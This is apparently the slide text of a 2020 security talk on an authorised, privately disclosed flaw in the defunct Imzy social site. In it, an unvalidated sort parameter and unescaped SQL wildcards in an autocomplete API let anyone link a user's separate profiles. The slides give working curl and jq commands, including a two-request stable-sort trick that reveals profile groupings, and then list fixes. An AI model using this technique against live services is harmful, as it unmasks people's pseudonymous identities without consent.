



Imzy Profile Linking

Background » What was Imzy?

Social media website that didn't make it

- Reddit, but nice?
- Ran 2016-2017 🖳

The usual

- Communities
- Comment threads, image uploads
- Voting/reacts

The unusual

- Tipping
- Multiple profiles





Background » Accounts vs. Profiles

Account			
Profiles	General	Notifications	Requests
	(j)	ᢕ	?

You can view and manage all your usernames, see your post history, and change your profile avatars here. You can choose an existing username or create a new one whenever you participate in a new community. No one else will ever be able to see or know that any of your usernames are connected.



"No one else will ever be able to see or know that any of your usernames are connected."

Imzy Profile Linking / Tim McCormack / 2020

Background » I like security

Always Be Pentesting

- Asked a friend at Imzy if I could poke at the site
- Found some fun vulnerabilities!
 - See my blog for more ;-)
 - This is the story of the *best* one

Methodology

- Sometimes use Burp Suite to record my browsing
- Always take notes
- curl, I guess?

Stumbled across *autocomplete* endpoint

- Type @ali & it suggests @Alice5, @valiant, etc.



Autocomplete (username search)

Behind the scenes of username autocompletion

<pre>curl 'https://www.imzy & q=dogg & sort=-prof</pre>	<pre>com/api/search/autocomplete/profiles? page=1 & per_page=30 ile_username_lower '</pre>
[
<pre>{"profile username":</pre>	"doggiedogdogdog",
"display_username":	"doggiedogdogdog",
"avatar_image_url":	null},
{"profile_username":	"gkdogg",
"display_username":	"gkdogg",
"avatar_image_url":	null},
{"profile_username":	"Iluvdoggos",
"display_username":	"Iluvdoggos",
"avatar_image_url":	"https://imzy-default.imgix.net/prod/profiles/rzxgrnaz.png"},
{"profile_username":	"jessedogg",
"display_username":	"jessedogg",
"avatar_image_url":	null},
{"profile_username":	"Robbdogg87",
"display_username":	"Robbdogg87",
"avatar_image_url":	null}



Boring, it's just usernames!

All we really have are usernames

- ...which are public

(OK yes they're PII, and also could be part of a chained exploit)

Parameters standard for a search API

- **q**: The text to query for
- sort: What order to return the results in
- **page**: How many pages of results to skip
- **per_page**: The size of pages to skip and return
- Didn't look very interesting at first
 - But for some reason I took a closer look...
 - (What would you try?)

Flaws

- No authentication required, and no rate-limiting
- No limit on response size: per_page=0 returns 80,000+ results
 - Maybe code included try: int(per_page) except ValueError: None
 - per_page=10000000000 also worked

No escaping of "%" wildcard (zero or more characters) in query

- Results for q=d%g includes users badgerbadger and ohdang
- Probably using SQL -- MySQL or Postgres, perhaps (_____also worked)

Query must be at least 3 characters...

- But q=%% worked

----> Sort parameter not well validated <----

- sort=-avatar_image_url -> nonsensical, but is sorted in a new order
- sort=kahfqewgq -> 500 Server Error
 - This ended up paging the admins on their bowling outing, oops
- (Also, the usually means descending order, but it's backwards in this API.)

Who cares about sort?

Usernames are *still* basically public information!

Sorting them doesn't make them any less public, right?

...right?



Into the mind of the developer

...?q=ali&sort=-profile_username_lower

...probably turns into this query:

SELECT * FROM profiles
WHERE profile_username LIKE "%ali%"
ORDER BY profile_username_lower ASC
LIMIT 30 OFFSET 0

(maybe with a parameterized query; I couldn't achieve full SQL injection)

What might the table look like?

```
CREATE TABLE profiles (
    id UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
    profile_username VARCHAR(40) NOT NULL,
    profile_username_lower VARCHAR(40) NOT NULL,
    created_at DATE,
    ....
)
```

...what else might be in there?

Imagining a database

accounts	(1 per user)		profiles	(1+ per user)
id	UUID (primary key)	1	id	UUID (primary key)
email	string	n	account_id	UUID (foreign key)
password_hash	string		profile_username	string
created_at	date		created_at	date
email_verified	boolean		is_primary	boolean
			is staff	boolean

I mean, probably, right?

Let's try it!



Sorting by account_id

curl 'https://www.imzy.com/api/search/autocomplete/profiles?per_page=0&q=%%&sort=account_id' | jq '.[]|.profile_username' | grep ezomphy -C 4

(Translation: "Get all accounts, ordered by account ID, and print out just a few usernames around one of my own.")

```
Defensatratr
Buckaroo
Yini
timmc <--- my main profile
ezomphy
staff <--- my testing profile
IceCreamMonster
duany_26
DamnitEiffel
```

...it works!

(not the real output, obviously)



It's bad, but can we make it worse?

 Dofoncatratr	
Derensatiati	
Buckaroo	
Yini	
timmc	
ezomphy < me	
<pre>staff < me,</pre>	but how would an attacker know that?
IceCreamMonster	< could be me, too!
duany 26	< what about this one?
DamnitEiffel	

Technically deniable

- Guess-and-check would allow unmasking some people
- But you couldn't prove it, in cases where that mattered and it's not automated

$\boldsymbol{\cdot}$ Any two adjacent profiles could belong to the same account

- Can we draw divisions between accounts?
- Yes, we can!
 - In fact, we just need one more HTTP call
 - Any guesses?



Reverse and "reverse"

- Sort by account ID ascending and descending
 - One call with sort=account_id
 - Another with sort=-account_id
- Reverses list of (hidden) account IDs
 - Doesn't reverse list of profiles
 - Profiles with same account ID keep their order

This is our old friend the stable sort

- Usually only care about this in spreadsheets



Stable sorts

sort: account_id ascending

sort: account_id descending



The account **groups** switch places, but their **internal order** remains! The database or application is using a stable sort.

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Putting it all together

Discovering everyone's profile groups in just two HTTP calls:

Mount a ramdisk when working with sensitive data
sudo mount -t ramfs ramfs ~/tmp/ram/ && cd ~/tmp/ram/

Grab profiles sorted ascending and descending
curl -sS 'https://www.imzy.com/api/search/autocomplete/profiles?q=
%25%25%25&per_page=0&sort=-account_id' > by-account-asc.json

curl -sS 'https://www.imzy.com/api/search/autocomplete/profiles?q= %25%25%25&per_page=0&sort=account_id' > by-account-desc.json

Reformat JSON (and reverse one list)
jq '.' < by-account-asc.json > by-account-asc.norm.json
jq 'reverse' < by-account-desc.json > by-account-desc.norm.json

Diff and peek
diff -y by-account-{asc,desc}.norm.json | grep timmc -C 5



Bad enough!

- Nearly worst-case scenario for profiles
 - Doesn't expose anonymous usernames
- Disclosed privately, fixed quickly
 - Was offered \$1000 debit card
 - ...but company shut down too soon after
 - It's the thought that counts :-)
- Agreed to not disclose publicly
 - unless they ever had a similar bug



Fixes

Validate all parameters (with few exceptions)

- Can skip personal names or other free text input, aside from max length
- Check sort parameter against an allowlist
- This is the core vulnerability, but only exploitable because they didn't...

• Escape wildcards

- Vulnerability, but only exploitable as part of a chain
- Without a wildcard, couldn't link "alice" and "bob"
- < Escape and % when using a LIKE query
- Parameterized SQL doesn't do this for you
 - Pattern matching is a tiny language! Watch out for tiny languages.

Segregate private and public data?

- Imzy allowed private data to influence public results
- Maybe keep profiles disconnected from accounts even in DB schema?
- Exploit was neither a side-channel nor an oracle attack, but in the same spirit, I think

What about auth, rate-limiting, max response size?

- Probably a good idea!
- ...but wouldn't have helped much in this case (except max offset?)





...if you got 'em

Full writeup:

https://www.brainonfire.net/blog/2017/07/06/imzy-security-assessment-part-1/

https://www.brainonfire.net/blog/2017/10/25/imzy-security-assessment-part-2/

